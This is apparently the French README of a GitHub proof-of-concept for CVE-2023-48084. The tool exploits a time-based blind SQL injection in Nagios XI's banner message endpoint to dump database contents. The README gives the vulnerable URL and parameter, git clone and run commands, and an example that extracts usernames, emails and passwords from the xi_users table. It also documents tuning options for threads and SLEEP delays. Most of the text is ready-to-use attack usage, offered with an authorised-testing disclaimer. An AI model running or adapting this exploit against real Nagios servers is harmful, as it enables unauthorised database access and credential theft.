
PoC Python exploitant une SQLi aveugle basée sur le temps dans Nagios XI pour extraire le contenu de la base de données, avec extraction par recherche binaire multithreadée et sélection de schéma/table/colonne en CLI.
Dépôt : MettHK/CVE-2023-48084-Revised
Version mise à jour de Hamibubu/CVE-2023-48084 avec multithreading, extraction par recherche binaire et options CLI pour la sélection de base de données / table / colonne.
Pas le dépôt d'origine. Ceci est un PoC dérivé/amélioré. Le crédit pour le travail original revient à Hamibubu.
Pour tests de sécurité autorisés et usage éducatif uniquement. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester. Les auteurs et contributeurs ne sont pas responsables d'une mauvaise utilisation.
CVE-2023-48084 : Nagios XI avant la version 5.11.3 contient une vulnérabilité d'injection SQL via l'outil de modification en masse.
Ce PoC exploite une injection SQL aveugle basée sur le temps sur :
/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SQL)
Vous avez besoin d'un cookie de session non-admin valide (nagiosxi) ou d'un jeton API.
requests (requis)pwntools (optionnel ; meilleur affichage de la progression)git clone https://github.com/MettHK/CVE-2023-48084-Revised.git
cd CVE-2023-48084-Revised
pip install -r requirements.txt
# Interactive (discover schemas → tables → columns)
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -c '<cookie>'
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -a '<api_token>'
# Fast path: database + table + columns known
python3 CVE-2023-48084.py \
-u https://target.example/nagiosxi \
-c '<cookie>' \
-d nagiosxi \
-t xi_users \
-C username,email,password \
-w 15 \
--delay 1.2
Je ne recommande pas d'utiliser plus de 2 workers, car cela peut renvoyer des résultats incorrects
--delay (par ex. 2) ou réduisez -w (par ex. 5).-w 15–20).-d / -t / -C quand vous connaissez déjà le schéma cible pour éviter une longue découverte.| Domaine | Modifications |
|---|
| Extraction | Recherche binaire pour la longueur de chaîne et les caractères ASCII (beaucoup moins de requêtes) |
| Performances | Extraction de caractères multithread (-w / --workers) |
| CLI | -d / --database — ignorer la découverte du schéma |
| CLI | -t / --table — ignorer la découverte des tables (requiert -d) |
| CLI | -C / --columns — colonnes séparées par des virgules, ignorer la découverte des colonnes (requiert -t) |
| Délais | --delay, --threshold, --max-length configurables |
| Robustesse | Sessions HTTP par thread ; pwntools optionnel (barres de progression) avec un repli simple |
| Documentation | Crédit/lien vers l'original ; pas de noms d'hôtes de labo ni d'artefacts CTF dans les exemples |
| Option | Description |
|---|
-u / --url | URL de base (ex. https://target.example/nagiosxi) |
-c / --cookie | Valeur du cookie de session nagiosxi |
-a / --apiKey | Jeton API (ne pas utiliser avec -c) |
-d / --database | Nom du schéma/base de données (ignorer l'énumération du schéma) |
-t / --table | Nom de la table (ignorer l'énumération des tables ; nécessite -d) |
-C / --columns | Colonnes séparées par des virgules (ignorer l'énumération des colonnes ; nécessite -t) |
-w / --workers | Threads parallèles (défaut : 10) |
--delay | Secondes de SLEEP sur la branche vraie (défaut : 1.5) |
--threshold | Temps de réponse minimal pour compter comme succès (défaut : delay * 0.8) |
--max-length | Borne supérieure pour la recherche binaire de longueur (défaut : 2048) |